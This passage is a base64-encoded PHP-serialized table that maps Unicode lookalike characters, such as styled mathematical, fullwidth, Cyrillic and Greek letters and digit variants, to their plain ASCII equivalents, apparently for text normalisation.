uKdtSI7czoxOiJ9IjtzOjM6IuK4vyI7czoxOiK2IjtzOjM6IuKBjiI7czoxOiIqIjtzOjI6ItmtIjtzOjE6IioiO3M6Mzoi4oiXIjtzOjE6IioiO3M6NDoi8JCMnyI7czoxOiIqIjtzOjM6IuGctSI7czoxOiIvIjtzOjM6IuKBgSI7czoxOiIvIjtzOjM6IuKIlSI7czoxOiIvIjtzOjM6IuKBhCI7czoxOiIvIjtzOjM6IuKVsSI7czoxOiIvIjtzOjM6IuKfiyI7czoxOiIvIjtzOjM6IuKnuCI7czoxOiIvIjtzOjQ6IvCdiLoiO3M6MToiLyI7czozOiLjh5MiO3M6MToiLyI7czozOiLjgLMiO3M6MToiLyI7czozOiLis4YiO3M6MToiLyI7czozOiLjg44iO3M6MToiLyI7czozOiLkuL8iO3M6MToiLyI7czozOiLivIMiO3M6MToiLyI7czozOiLvvLwiO3M6MToiXCI7czozOiLvuagiO3M6MToiXCI7czozOiLiiJYiO3M6MToiXCI7czozOiLin40iO3M6MToiXCI7czozOiLip7UiO3M6MToiXCI7czozOiLip7kiO3M6MToiXCI7czo0OiLwnYiPIjtzOjE6IlwiO3M6NDoi8J2IuyI7czoxOiJcIjtzOjM6IuOHlCI7czoxOiJcIjtzOjM6IuS4tiI7czoxOiJcIjtzOjM6IuK8giI7czoxOiJcIjtzOjM6IuqduCI7czoxOiImIjtzOjI6IsuEIjtzOjE6Il4iO3M6Mjoiy4YiO3M6MToiXiI7czozOiLiuLAiO3M6MToisCI7czoyOiLLmiI7czoxOiKwIjtzOjM6IuKImCI7czoxOiKwIjtzOjM6IuKXiyI7czoxOiKwIjtzOjM6IuKXpiI7czoxOiKwIjtzOjM6IuKSuCI7czoxOiKpIjtzOjM6IuKThyI7czoxOiKuIjtzOjM6IuGbrSI7czoxOiIrIjtzOjM6IuKelSI7czoxOiIrIjtzOjQ6IvCQipsiO3M6MToiKyI7czozOiLinpciO3M6MToi9yI7czozOiLigLkiO3M6MToiPCI7czozOiLina4iO3M6MToiPCI7czoyOiLLgiI7czoxOiI8IjtzOjQ6IvCdiLYiO3M6MToiPCI7czozOiLhkLgiO3M6MToiPCI7czozOiLhmrIiO3M6MToiPCI7czozOiLhkIAiO3M6MToiPSI7czozOiLiuYAiO3M6MToiPSI7czozOiLjgqAiO3M6MToiPSI7czozOiLqk78iO3M6MToiPSI7czozOiLigLoiO3M6MToiPiI7czozOiLina8iO3M6MToiPiI7czoyOiLLgyI7czoxOiI+IjtzOjQ6IvCdiLciO3M6MToiPiI7czozOiLhkLMiO3M6MToiPiI7czo0OiLwlry/IjtzOjE6Ij4iO3M6Mzoi4oGTIjtzOjE6In4iO3M6Mjoiy5wiO3M6MToifiI7czozOiLhv4AiO3M6MToifiI7czozOiLiiLwiO3M6MToifiI7czozOiLigqQiO3M6MToioyI7czo0OiLwnZ+QIjtzOjE6IjIiO3M6NDoi8J2fmiI7czoxOiIyIjtzOjQ6IvCdn6QiO3M6MToiMiI7czo0OiLwnZ+uIjtzOjE6IjIiO3M6NDoi8J2fuCI7czoxOiIyIjtzOjM6IuqdmiI7czoxOiIyIjtzOjI6IsanIjtzOjE6IjIiO3M6Mjoiz6giO3M6MToiMiI7czozOiLqmYQiO3M6MToiMiI7czozOiLhkr8iO3M6MToiMiI7czozOiLqm68iO3M6MToiMiI7czo0OiLwnYiGIjtzOjE6IjMiO3M6NDoi8J2fkSI7czoxOiIzIjtzOjQ6IvCdn5siO3M6MToiMyI7czo0OiLwnZ+lIjtzOjE6IjMiO3M6NDoi8J2fryI7czoxOiIzIjtzOjQ6IvCdn7kiO3M6MToiMyI7czozOiLqnqsiO3M6MToiMyI7czoyOiLInCI7czoxOiIzIjtzOjI6Isa3IjtzOjE6IjMiO3M6Mzoi6p2qIjtzOjE6IjMiO3M6Mzoi4rOMIjtzOjE6IjMiO3M6Mjoi0JciO3M6MToiMyI7czoyOiLToCI7czoxOiIzIjtzOjQ6IvCWvLsiO3M6MToiMyI7czo0OiLwkaOKIjtzOjE6IjMiO3M6NDoi8J2fkiI7czoxOiI0IjtzOjQ6IvCdn5wiO3M6MToiNCI7czo0OiLwnZ+mIjtzOjE6IjQiO3M6NDoi8J2fsCI7czoxOiI0IjtzOjQ6IvCdn7oiO3M6MToiNCI7czozOiLhj44iO3M6MToiNCI7czo0OiLwkaKvIjtzOjE6IjQiO3M6NDoi8J2fkyI7czoxOiI1IjtzOjQ6IvCdn50iO3M6MToiNSI7czo0OiLwnZ+nIjtzOjE6IjUiO3M6NDoi8J2fsSI7czoxOiI1IjtzOjQ6IvCdn7siO3M6MToiNSI7czoyOiLGvCI7czoxOiI1IjtzOjQ6IvCRorsiO3M6MToiNSI7czo0OiLwnZ+UIjtzOjE6IjYiO3M6NDoi8J2fniI7czoxOiI2IjtzOjQ6IvCdn6giO3M6MToiNiI7czo0OiLwnZ+yIjtzOjE6IjYiO3M6NDoi8J2fvCI7czoxOiI2IjtzOjM6IuKzkiI7czoxOiI2IjtzOjI6ItCxIjtzOjE6IjYiO3M6Mzoi4Y+uIjtzOjE6IjYiO3M6NDoi8JGjlSI7czoxOiI2IjtzOjQ6IvCdiJIiO3M6MToiNyI7czo0OiLwnZ+VIjtzOjE6IjciO3M6NDoi8J2fnyI7czoxOiI3IjtzOjQ6IvCdn6kiO3M6MToiNyI7czo0OiLwnZ+zIjtzOjE6IjciO3M6NDoi8J2fvSI7czoxOiI3IjtzOjQ6IvCQk5IiO3M6MToiNyI7czo0OiLwkaOGIjtzOjE6IjciO3M6Mzoi4KyDIjtzOjE6IjgiO3M6Mzoi4KeqIjtzOjE6IjgiO3M6Mzoi4KmqIjtzOjE6IjgiO3M6NDoi8J6jiyI7czoxOiI4IjtzOjQ6IvCdn5YiO3M6MToiOCI7czo0OiLwnZ+gIjtzOjE6IjgiO3M6NDoi8J2fqiI7czoxOiI4IjtzOjQ6IvCdn7QiO3M6MToiOCI7czo0OiLwnZ++IjtzOjE6IjgiO3M6MjoiyKMiO3M6MToiOCI7czoyOiLIoiI7czoxOiI4IjtzOjQ6IvCQjJoiO3M6MToiOCI7czozOiLgqaciO3M6MToiOSI7czozOiLgragiO3M6MToiOSI7czozOiLgp60iO3M6MToiOSI7czozOiLgta0iO3M6MToiOSI7czo0OiLwnZ+XIjtzOjE6IjkiO3M6NDoi8J2foSI7czoxOiI5IjtzOjQ6IvCdn6siO3M6MToiOSI7czo0OiLwnZ+1IjtzOjE6IjkiO3M6NDoi8J2fvyI7czoxOiI5IjtzOjM6IuqdriI7czoxOiI5IjtzOjM6IuKziiI7czoxOiI5IjtzOjQ6IvCRo4wiO3M6MToiOSI7czo0OiLwkaKsIjtzOjE6IjkiO3M6NDoi8JGjliI7czoxOiI5IjtzOjM6IuKNuiI7czoxOiJhIjtzOjM6Iu+9gSI7czoxOiJhIjtzOjQ6IvCdkJoiO3M6MToiYSI7czo0OiLwnZGOIjtzOjE6ImEiO3M6NDoi8J2SgiI7czoxOiJhIjtzOjQ6IvCdkrYiO3M6MToiYSI7czo0OiLwnZOqIjtzOjE6ImEiO3M6NDoi8J2UniI7czoxOiJhIjtzOjQ6IvCdlZIiO3M6MToiYSI7czo0OiLwnZaGIjtzOjE6ImEiO3M6NDoi8J2WuiI7czoxOiJhIjtzOjQ6IvCdl64iO3M6MToiYSI7czo0OiLwnZiiIjtzOjE6ImEiO3M6NDoi8J2ZliI7czoxOiJhIjtzOjQ6IvCdmooiO3M6MToiYSI7czoyOiLJkSI7czoxOiJhIjtzOjI6Is6xIjtzOjE6ImEiO3M6NDoi8J2bgiI7czoxOiJhIjtzOjQ6IvCdm7wiO3M6MToiYSI7czo0OiLwnZy2IjtzOjE6ImEiO3M6NDoi8J2dsCI7czoxOiJhIjtzOjQ6IvCdnqoiO3M6MToiYSI7czoyOiLQsCI7czoxOiJhIjtzOjM6Iu+8oSI7czoxOiJBIjtzOjQ6IvCdkIAiO3M6MToiQSI7czo0OiLwnZC0IjtzOjE6IkEiO3M6NDoi8J2RqCI7czoxOiJBIjtzOjQ6IvCdkpwiO3M6MToiQSI7czo0OiLwnZOQIjtzOjE6IkEiO3M6NDoi8J2UhCI7czoxOiJBIjtzOjQ6IvCdlLgiO3M6MToiQSI7czo0OiLwnZWsIjtzOjE6IkEiO3M6NDoi8J2WoCI7czoxOiJBIjtzOjQ6IvCdl5QiO3M6MToiQSI7czo0OiLwnZiIIjtzOjE6IkEiO3M6NDoi8J2YvCI7czoxOiJBIjtzOjQ6IvCdmbAiO3M6MToiQSI7czoyOiLOkSI7czoxOiJBIjtzOjQ6IvCdmqgiO3M6MToiQSI7czo0OiLwnZuiIjtzOjE6IkEiO3M6NDoi8J2cnCI7czoxOiJBIjtzOjQ6IvCdnZYiO3M6MToiQSI7czo0OiLwnZ6QIjtzOjE6IkEiO3M6Mjoi0JAiO3M6MToiQSI7czozOiLhjqoiO3M6MToiQSI7czozOiLhl4UiO3M6MToiQSI7czozOiLqk64iO3M6MToiQSI7czo0OiLwlr2AIjtzOjE6IkEiO3M6NDoi8JCKoCI7czoxOiJBIjtzOjI6IsinIjtzOjE6IuUiO3M6MjoiyKYiO3M6MToixSI7czo0OiLwnZCbIjtzOjE6ImIiO3M6NDoi8J2RjyI7czoxOiJiIjtzOjQ6IvCdkoMiO3M6MToiYiI7czo0OiLwnZK3IjtzOjE6ImIiO3M6NDoi8J2TqyI7czoxOiJiIjtzOjQ6IvCdlJ8iO3M6MToiYiI7czo0OiLwnZWTIjtzOjE6ImIiO3M6NDoi8J2WhyI7czoxOiJiIjtzOjQ6IvCdlrsiO3M6MToiYiI7czo0OiLwnZevIjtzOjE6ImIiO3M6NDoi8J2YoyI7czoxOiJiIjtzOjQ6IvCdmZciO3M6MToiYiI7czo0OiLwnZqLIjtzOjE6ImIiO3M6MjoixoQiO3M6MToiYiI7czoyOiLQrCI7czoxOiJiIjtzOjM6IuGPjyI7czoxOiJiIjtzOjM6IuGRsiI7czoxOiJiIjtzOjM6IuGWryI7czoxOiJiIjtzOjM6Iu+8oiI7czoxOiJCIjtzOjM6IuKErCI7czoxOiJCIjtzOjQ6IvCdkIEiO3M6MToiQiI7czo0OiLwnZC1IjtzOjE6IkIiO3M6NDoi8J2RqSI7czoxOiJCIjtzOjQ6IvCdk5EiO3M6MToiQiI7czo0OiLwnZSFIjtzOjE6IkIiO3M6NDoi8J2UuSI7czoxOiJCIjtzOjQ6IvCdla0iO3M6MToiQiI7czo0OiLwnZahIjtzOjE6IkIiO3M6NDoi8J2XlSI7czoxOiJCIjtzOjQ6IvCdmIkiO3M6MToiQiI7czo0OiLwnZi9IjtzOjE6IkIiO3M6NDoi8J2ZsSI7czoxOiJCIjtzOjM6IuqetCI7czoxOiJCIjtzOjI6Is6SIjtzOjE6IkIiO3M6NDoi8J2aqSI7czoxOiJCIjtzOjQ6IvCdm6MiO3M6MToiQiI7czo0OiLwnZydIjtzOjE6IkIiO3M6NDoi8J2dlyI7czoxOiJCIjtzOjQ6IvCdnpEiO3M6MToiQiI7czoyOiLQkiI7czoxOiJCIjtzOjM6IuGPtCI7czoxOiJCIjtzOjM6IuGXtyI7czoxOiJCIjtzOjM6IuqTkCI7czoxOiJCIjtzOjQ6IvCQioIiO3M6MToiQiI7czo0OiLwkIqhIjtzOjE6IkIiO3M6NDoi8JCMgSI7czoxOiJCIjtzOjM6Iu+9gyI7czoxOiJjIjtzOjM6IuKFvSI7czoxOiJjIjtzOjQ6IvCdkJwiO3M6MToiYyI7czo0OiLwnZGQIjtzOjE6ImMiO3M6NDoi8J2ShCI7czoxOiJjIjtzOjQ6IvCdkrgiO3M6MToiYyI7czo0OiLwnZOsIjtzOjE6ImMiO3M6NDoi8J2UoCI7czoxOiJjIjtzOjQ6IvCdlZQiO3M6MToiYyI7czo0OiLwnZaIIjtzOjE6ImMiO3M6NDoi8J2WvCI7czoxOiJjIjtzOjQ6IvCdl7AiO3M6MToiYyI7czo0OiLwnZikIjtzOjE6ImMiO3M6NDoi8J2ZmCI7czoxOiJjIjtzOjQ6IvCdmowiO3M6MToiYyI7czozOiLhtIQiO3M6MToiYyI7czoyOiLPsiI7czoxOiJjIjtzOjM6IuKypSI7czoxOiJjIjtzOjI6ItGBIjtzOjE6ImMiO3M6Mzoi6q6vIjtzOjE6ImMiO3M6NDoi8JCQvSI7czoxOiJjIjtzOjQ6IvCfnYwiO3M6MToiQyI7czo0OiLwkaOyIjtzOjE6IkMiO3M6NDoi8JGjqSI7czoxOiJDIjtzOjM6Iu+8oyI7czoxOiJDIjtzOjM6IuKFrSI7czoxOiJDIjtzOjM6IuKEgiI7czoxOiJDIjtzOjM6IuKErSI7czoxOiJDIjtzOjQ6IvCdkIIiO3M6MToiQyI7czo0OiLwnZC2IjtzOjE6IkMiO3M6NDoi8J2RqiI7czoxOiJDIjtzOjQ6IvCdkp4iO3M6MToiQyI7czo0OiLwnZOSIjtzOjE6IkMiO3M6NDoi8J2VriI7czoxOiJDIjtzOjQ6IvCdlqIiO3M6MToiQyI7czo0OiLwnZeWIjtzOjE6IkMiO3M6NDoi8J2YiiI7czoxOiJDIjtzOjQ6IvCdmL4iO3M6MToiQyI7czo0OiLwnZmyIjtzOjE6IkMiO3M6Mjoiz7kiO3M6MToiQyI7czozOiLisqQiO3M6MToiQyI7czoyOiLQoSI7czoxOiJDIjtzOjM6IuGPnyI7czoxOiJDIjtzOjM6IuqTmiI7czoxOiJDIjtzOjQ6IvCQiqIiO3M6MToiQyI7czo0OiLwkIyCIjtzOjE6IkMiO3M6NDoi8JCQlSI7czoxOiJDIjtzOjQ6IvCQlJwiO3M6MToiQyI7czozOiLihb4iO3M6MToiZCI7czozOiLihYYiO3M6MToiZCI7czo0OiLwnZCdIjtzOjE6ImQiO3M6NDoi8J2RkSI7czoxOiJkIjtzOjQ6IvCdkoUiO3M6MToiZCI7czo0OiLwnZK5IjtzOjE6ImQiO3M6NDoi8J2TrSI7czoxOiJkIjtzOjQ6IvCdlKEiO3M6MToiZCI7czo0OiLwnZWVIjtzOjE6ImQiO3M6NDoi8J2WiSI7czoxOiJkIjtzOjQ6IvCdlr0iO3M6MToiZCI7czo0OiLwnZexIjtzOjE6ImQiO3M6NDoi8J2YpSI7czoxOiJkIjtzOjQ6IvCdmZkiO3M6MToiZCI7czo0OiLwnZqNIjtzOjE6ImQiO3M6Mjoi1IEiO3M6MToiZCI7czozOiLhj6ciO3M6MToiZCI7czozOiLhka8iO3M6MToiZCI7czozOiLqk5IiO3M6MToiZCI7czozOiLiha4iO3M6MToiRCI7czozOiLihYUiO3M6MToiRCI7czo0OiLwnZCDIjtzOjE6IkQiO3M6NDoi8J2QtyI7czoxOiJEIjtzOjQ6IvCdkasiO3M6MToiRCI7czo0OiLwnZKfIjtzOjE6IkQiO3M6NDoi8J2TkyI7czoxOiJEIjtzOjQ6IvCdlIciO3M6MToiRCI7czo0OiLwnZS7IjtzOjE6IkQiO3M6NDoi8J2VryI7czoxOiJEIjtzOjQ6IvCdlqMiO3M6MToiRCI7czo0OiLwnZeXIjtzOjE6IkQiO3M6NDoi8J2YiyI7czoxOiJEIjtzOjQ6IvCdmL8iO3M6MToiRCI7czo0OiLwnZmzIjtzOjE6IkQiO3M6Mzoi4Y6gIjtzOjE6IkQiO3M6Mzoi4ZeeIjtzOjE6IkQiO3M6Mzoi4ZeqIjtzOjE6IkQiO3M6Mzoi6pOTIjtzOjE6IkQiO3M6Mzoi4oSuIjtzOjE6ImUiO3M6Mzoi772FIjtzOjE6ImUiO3M6Mzoi4oSvIjtzOjE6ImUiO3M6Mzoi4oWHIjtzOjE6ImUiO3M6NDoi8J2QniI7czoxOiJlIjtzOjQ6IvCdkZIiO3M6MToiZSI7czo0OiLwnZKGIjtzOjE6ImUiO3M6NDoi8J2TriI7czoxOiJlIjtzOjQ6IvCdlKIiO3M6MToiZSI7czo0OiLwnZWWIjtzOjE6ImUiO3M6NDoi8J2WiiI7czoxOiJlIjtzOjQ6IvCdlr4iO3M6MToiZSI7czo0OiLwnZeyIjtzOjE6ImUiO3M6NDoi8J2YpiI7czoxOiJlIjtzOjQ6IvCdmZoiO3M6MToiZSI7czo0OiLwnZqOIjtzOjE6ImUiO3M6Mzoi6qyyIjtzOjE6ImUiO3M6Mjoi0LUiO3M6MToiZSI7czoyOiLSvSI7czoxOiJlIjtzOjM6IuKLvyI7czoxOiJFIjtzOjM6Iu+8pSI7czoxOiJFIjtzOjM6IuKEsCI7czoxOiJFIjtzOjQ6IvCdkIQiO3M6MToiRSI7czo0OiLwnZC4IjtzOjE6IkUiO3M6NDoi8J2RrCI7czoxOiJFIjtzOjQ6IvCdk5QiO3M6MToiRSI7czo0OiLwnZSIIjtzOjE6IkUiO3M6NDoi8J2UvCI7czoxOiJFIjtzOjQ6IvCdlbAiO3M6MToiRSI7czo0OiLwnZakIjtzOjE6IkUiO3M6NDoi8J2XmCI7czoxOiJFIjtzOjQ6IvCdmIwiO3M6MToiRSI7czo0OiLwnZmAIjtzOjE6IkUiO3M6NDoi8J2ZtCI7czoxOiJFIjtzOjI6Is6VIjtzOjE6IkUiO3M6NDoi8J2arCI7czoxOiJFIjtzOjQ6IvCdm6YiO3M6MToiRSI7czo0OiLwnZygIjtzOjE6IkUiO3M6NDoi8J2dmiI7czoxOiJFIjtzOjQ6IvCdnpQiO3M6MToiRSI7czoyOiLQlSI7czoxOiJFIjtzOjM6IuK0uSI7czoxOiJFIjtzOjM6IuGOrCI7czoxOiJFIjtzOjM6IuqTsCI7czoxOiJFIjtzOjQ6IvCRoqYiO3M6MToiRSI7czo0OiLwkaKuIjtzOjE6IkUiO3M6NDoi8JCKhiI7czoxOiJFIjtzOjQ6IvCdkJ8iO3M6MToiZiI7czo0OiLwnZGTIjtzOjE6ImYiO3M6NDoi8J2ShyI7czoxOiJmIjtzOjQ6IvCdkrsiO3M6MToiZiI7czo0OiLwnZOvIjtzOjE6ImYiO3M6NDoi8J2UoyI7czoxOiJmIjtzOjQ6IvCdlZciO3M6MToiZiI7czo0OiLwnZaLIjtzOjE6ImYiO3M6NDoi8J2WvyI7czoxOiJmIjtzOjQ6IvCdl7MiO3M6MToiZiI7czo0OiLwnZinIjtzOjE6ImYiO3M6NDoi8J2ZmyI7czoxOiJmIjtzOjQ6IvCdmo8iO3M6MToiZiI7czozOiLqrLUiO3M6MToiZiI7czozOiLqnpkiO3M6MToiZiI7czoyOiLFvyI7czoxOiJmIjtzOjM6IuG6nSI7czoxOiJmIjtzOjI6ItaEIjtzOjE6ImYiO3M6NDoi8J2IkyI7czoxOiJGIjtzOjM6IuKEsSI7czoxOiJGIjtzOjQ6IvCdkIUiO3M6MToiRiI7czo0OiLwnZC5IjtzOjE6IkYiO3M6NDoi8J2RrSI7czoxOiJGIjtzOjQ6IvCdk5UiO3M6MToiRiI7czo0OiLwnZSJIjtzOjE6IkYiO3M6NDoi8J2UvSI7czoxOiJGIjtzOjQ6IvCdlbEiO3M6MToiRiI7czo0OiLwnZalIjtzOjE6IkYiO3M6NDoi8J2XmSI7czoxOiJGIjtzOjQ6IvCdmI0iO3M6MToiRiI7czo0OiLwnZmBIjtzOjE6IkYiO3M6NDoi8J2ZtSI7czoxOiJGIjtzOjM6IuqemCI7czoxOiJGIjtzOjI6Is+cIjtzOjE6IkYiO3M6NDoi8J2fiiI7czoxOiJGIjtzOjM6IuGWtCI7czoxOiJGIjtzOjM6IuqTnSI7czoxOiJGIjtzOjQ6IvCRo4IiO3M6MToiRiI7czo0OiLwkaKiIjtzOjE6IkYiO3M6NDoi8JCKhyI7czoxOiJGIjtzOjQ6IvCQiqUiO3M6MToiRiI7czo0OiLwkJSlIjtzOjE6IkYiO3M6Mzoi772HIjtzOjE6ImciO3M6Mzoi4oSKIjtzOjE6ImciO3M6NDoi8J2QoCI7czoxOiJnIjtzOjQ6IvCdkZQiO3M6MToiZyI7czo0OiLwnZKIIjtzOjE6ImciO3M6NDoi8J2TsCI7czoxOiJnIjtzOjQ6IvCdlKQiO3M6MToiZyI7czo0OiLwnZWYIjtzOjE6ImciO3M6NDoi8J2WjCI7czoxOiJnIjtzOjQ6IvCdl4AiO3M6MToiZyI7czo0OiLwnZe0IjtzOjE6ImciO3M6NDoi8J2YqCI7czoxOiJnIjtzOjQ6IvCdmZwiO3M6MToiZyI7czo0OiLwnZqQIjtzOjE6ImciO3M6MjoiyaEiO3M6MToiZyI7czozOiLhtoMiO3M6MToiZyI7czoyOiLGjSI7czoxOiJnIjtzOjI6ItaBIjtzOjE6ImciO3M6NDoi8J2QhiI7czoxOiJHIjtzOjQ6IvCdkLoiO3M6MToiRyI7czo0OiLwnZGuIjtzOjE6IkciO3M6NDoi8J2SoiI7czoxOiJHIjtzOjQ6IvCdk5YiO3M6MToiRyI7czo0OiLwnZSKIjtzOjE6IkciO3M6NDoi8J2UviI7czoxOiJHIjtzOjQ6IvCdlbIiO3M6MToiRyI7czo0OiLwnZamIjtzOjE6IkciO3M6NDoi8J2XmiI7czoxOiJHIjtzOjQ6IvCdmI4iO3M6MToiRyI7czo0OiLwnZmCIjtzOjE6IkciO3M6NDoi8J2ZtiI7czoxOiJHIjtzOjI6ItSMIjtzOjE6IkciO3M6Mzoi4Y+AIjtzOjE6IkciO3M6Mzoi4Y+zIjtzOjE6IkciO3M6Mzoi6pOWIjtzOjE6IkciO3M6Mzoi772IIjtzOjE6ImgiO3M6Mzoi4oSOIjtzOjE6ImgiO3M6NDoi8J2QoSI7czoxOiJoIjtzOjQ6IvCdkokiO3M6MToiaCI7czo0OiLwnZK9IjtzOjE6ImgiO3M6NDoi8J2TsSI7czoxOiJoIjtzOjQ6IvCdlKUiO3M6MToiaCI7czo0OiLwnZWZIjtzOjE6ImgiO3M6NDoi8J2WjSI7czoxOiJoIjtzOjQ6IvCdl4EiO3M6MToiaCI7czo0OiLwnZe1IjtzOjE6ImgiO3M6NDoi8J2YqSI7czoxOiJoIjtzOjQ6IvCdmZ0iO3M6MToiaCI7czo0OiLwnZqRIjtzOjE6ImgiO3M6Mjoi0rsiO3M6MToiaCI7czoyOiLVsCI7czoxOiJoIjtzOjM6IuGPgiI7czoxOiJoIjtzOjM6Iu+8qCI7czoxOiJIIjtzOjM6IuKEiyI7czoxOiJIIjtzOjM6IuKEjCI7czoxOiJIIjtzOjM6IuKEjSI7czoxOiJIIjtzOjQ6IvCdkIciO3M6MToiSCI7czo0OiLwnZC7IjtzOjE6IkgiO3M6NDoi8J2RryI7czoxOiJIIjtzOjQ6IvCdk5ciO3M6MToiSCI7czo0OiLwnZWzIjtzOjE6IkgiO3M6NDoi8J2WpyI7czoxOiJIIjtzOjQ6IvCdl5siO3M6MToiSCI7czo0OiLwnZiPIjtzOjE6IkgiO3M6NDoi8J2ZgyI7czoxOiJIIjtzOjQ6IvCdmbciO3M6MToiSCI7czoyOiLOlyI7czoxOiJIIjtzOjQ6IvCdmq4iO3M6MToiSCI7czo0OiLwnZuoIjtzOjE6IkgiO3M6NDoi8J2coiI7czoxOiJIIjtzOjQ6IvCdnZwiO3M6MToiSCI7czo0OiLwnZ6WIjtzOjE6IkgiO3M6Mzoi4rKOIjtzOjE6IkgiO3M6Mjoi0J0iO3M6MToiSCI7czozOiLhjrsiO3M6MToiSCI7czozOiLhlbwiO3M6MToiSCI7czozOiLqk6ciO3M6MToiSCI7czo0OiLwkIuPIjtzOjE6IkgiO3M6Mjoiy5siO3M6MToiaSI7czozOiLijbMiO3M6MToiaSI7czozOiLvvYkiO3M6MToiaSI7czozOiLihbAiO3M6MToiaSI7czozOiLihLkiO3M6MToiaSI7czozOiLihYgiO3M6MToiaSI7czo0OiLwnZCiIjtzOjE6ImkiO3M6NDoi8J2RliI7czoxOiJpIjtzOjQ6IvCdkooiO3M6MToiaSI7czo0OiLwnZK+IjtzOjE6ImkiO3M6NDoi8J2TsiI7czoxOiJpIjtzOjQ6IvCdlKYiO3M6MToiaSI7czo0OiLwnZWaIjtzOjE6ImkiO3M6NDoi8J2WjiI7czoxOiJpIjtzOjQ6IvCdl4IiO3M6MToiaSI7czo0OiLwnZe2IjtzOjE6ImkiO3M6NDoi8J2YqiI7czoxOiJpIjtzOjQ6IvCdmZ4iO3M6MToiaSI7czo0OiLwnZqSIjtzOjE6ImkiO3M6MjoixLEiO3M6MToiaSI7czo0OiLwnZqkIjtzOjE6ImkiO3M6MjoiyaoiO3M6MToiaSI7czoyOiLJqSI7czoxOiJpIjtzOjI6Is65IjtzOjE6ImkiO3M6Mzoi4b6+IjtzOjE6ImkiO3M6MjoizboiO3M6MToiaSI7czo0OiLwnZuKIjtzOjE6ImkiO3M6NDoi8J2chCI7czoxOiJpIjtzOjQ6IvCdnL4iO3M6MToiaSI7czo0OiLwnZ24IjtzOjE6ImkiO3M6NDoi8J2esiI7czoxOiJpIjtzOjI6ItGWIjtzOjE6ImkiO3M6Mzoi6pmHIjtzOjE6ImkiO3M6Mjoi048iO3M6MToiaSI7czozOiLqrbUiO3M6MToiaSI7czozOiLhjqUiO3M6MToiaSI7czo0OiLwkaODIjtzOjE6ImkiO3M6Mzoi772KIjtzOjE6ImoiO3M6Mzoi4oWJIjtzOjE6ImoiO3M6NDoi8J2QoyI7czoxOiJqIjtzOjQ6IvCdkZciO3M6MToiaiI7czo0OiLwnZKLIjtzOjE6ImoiO3M6NDoi8J2SvyI7czoxOiJqIjtzOjQ6IvCdk7MiO3M6MToiaiI7czo0OiLwnZSnIjtzOjE6ImoiO3M6NDoi8J2VmyI7czoxOiJqIjtzOjQ6IvCdlo8iO3M6MToiaiI7czo0OiLwnZeDIjtzOjE6ImoiO3M6NDoi8J2XtyI7czoxOiJqIjtzOjQ6IvCdmKsiO3M6MToiaiI7czo0OiLwnZmfIjtzOjE6ImoiO3M6NDoi8J2akyI7czoxOiJqIjtzOjI6Is+zIjtzOjE6ImoiO3M6Mjoi0ZgiO3M6MToiaiI7czozOiLvvKoiO3M6MToiSiI7czo0OiLwnZCJIjtzOjE6IkoiO3M6NDoi8J2QvSI7czoxOiJKIjtzOjQ6IvCdkbEiO3M6MToiSiI7czo0OiLwnZKlIjtzOjE6IkoiO3M6NDoi8J2TmSI7czoxOiJKIjtzOjQ6IvCdlI0iO3M6MToiSiI7czo0OiLwnZWBIjtzOjE6IkoiO3M6NDoi8J2VtSI7czoxOiJKIjtzOjQ6IvCdlqkiO3M6MToiSiI7czo0OiLwnZedIjtzOjE6IkoiO3M6NDoi8J2YkSI7czoxOiJKIjtzOjQ6IvCdmYUiO3M6MToiSiI7czo0OiLwnZm5IjtzOjE6IkoiO3M6Mzoi6p6yIjtzOjE6IkoiO3M6Mjoizb8iO3M6MToiSiI7czoyOiLQiCI7czoxOiJKIjtzOjM6IuGOqyI7czoxOiJKIjtzOjM6IuGSjSI7czoxOiJKIjtzOjM6IuqTmSI7czoxOiJKIjtzOjQ6IvCdkKQiO3M6MToiayI7czo0OiLwnZGYIjtzOjE6ImsiO3M6NDoi8J2SjCI7czoxOiJrIjtzOjQ6IvCdk4AiO3M6MToiayI7czo0OiLwnZO0IjtzOjE6ImsiO3M6NDoi8J2UqCI7czoxOiJrIjtzOjQ6IvCdlZwiO3M6MToiayI7czo0OiLwnZaQIjtzOjE6ImsiO3M6NDoi8J2XhCI7czoxOiJrIjtzOjQ6IvCdl7giO3M6MToiayI7czo0OiLwnZisIjtzOjE6ImsiO3M6NDoi8J2ZoCI7czoxOiJrIjtzOjQ6IvCdmpQiO3M6MToiayI7czozOiLihKoiO3M6MToiSyI7czozOiLvvKsiO3M6MToiSyI7czo0OiLwnZCKIjtzOjE6IksiO3M6NDoi8J2QviI7czoxOiJLIjtzOjQ6IvCdkbIiO3M6MToiSyI7czo0OiLwnZKmIjtzOjE6IksiO3M6NDoi8J2TmiI7czoxOiJLIjtzOjQ6IvCdlI4iO3M6MToiSyI7czo0OiLwnZWCIjtzOjE6IksiO3M6NDoi8J2VtiI7czoxOiJLIjtzOjQ6IvCdlqoiO3M6MToiSyI7czo0OiLwnZeeIjtzOjE6IksiO3M6NDoi8J2YkiI7czoxOiJLIjtzOjQ6IvCdmYYiO3M6MToiSyI7czo0OiLwnZm6IjtzOjE6IksiO3M6MjoizpoiO3M6MToiSyI7czo0OiLwnZqxIjtzOjE6IksiO3M6NDoi8J2bqyI7czoxOiJLIjtzOjQ6IvCdnKUiO3M6MToiSyI7czo0OiLwnZ2fIjtzOjE6IksiO3M6NDoi8J2emSI7czoxOiJLIjtzOjM6IuKylCI7czoxOiJLIjtzOjI6ItCaIjtzOjE6IksiO3M6Mzoi4Y+mIjtzOjE6IksiO3M6Mzoi4ZuVIjtzOjE6IksiO3M6Mzoi6pOXIjtzOjE6IksiO3M6NDoi8JCUmCI7czoxOiJLIjtzOjI6IteAIjtzOjE6ImwiO3M6MToifCI7czoxOiJsIjtzOjM6IuKIoyI7czoxOiJsIjtzOjM6IuKPvSI7czoxOiJsIjtzOjM6Iu+/qCI7czoxOiJsIjtpOjE7czoxOiJsIjtzOjI6ItmhIjtzOjE6ImwiO3M6Mjoi27EiO3M6MToibCI7czo0OiLwkIygIjtzOjE6ImwiO3M6NDoi8J6jhyI7czoxOiJsIjtzOjQ6IvCdn48iO3M6MToibCI7czo0OiLwnZ+ZIjtzOjE6ImwiO3M6NDoi8J2foyI7czoxOiJsIjtzOjQ6IvCdn60iO3M6MToibCI7czo0OiLwnZ+3IjtzOjE6ImwiO3M6MToiSSI7czoxOiJsIjtzOjM6Iu+8qSI7czoxOiJsIjtzOjM6IuKFoCI7czoxOiJsIjtzOjM6IuKEkCI7czoxOiJsIjtzOjM6IuKEkSI7czoxOiJsIjtzOjQ6IvCdkIgiO3M6MToibCI7czo0OiLwnZC8IjtzOjE6ImwiO3M6NDoi8J2RsCI7czoxOiJsIjtzOjQ6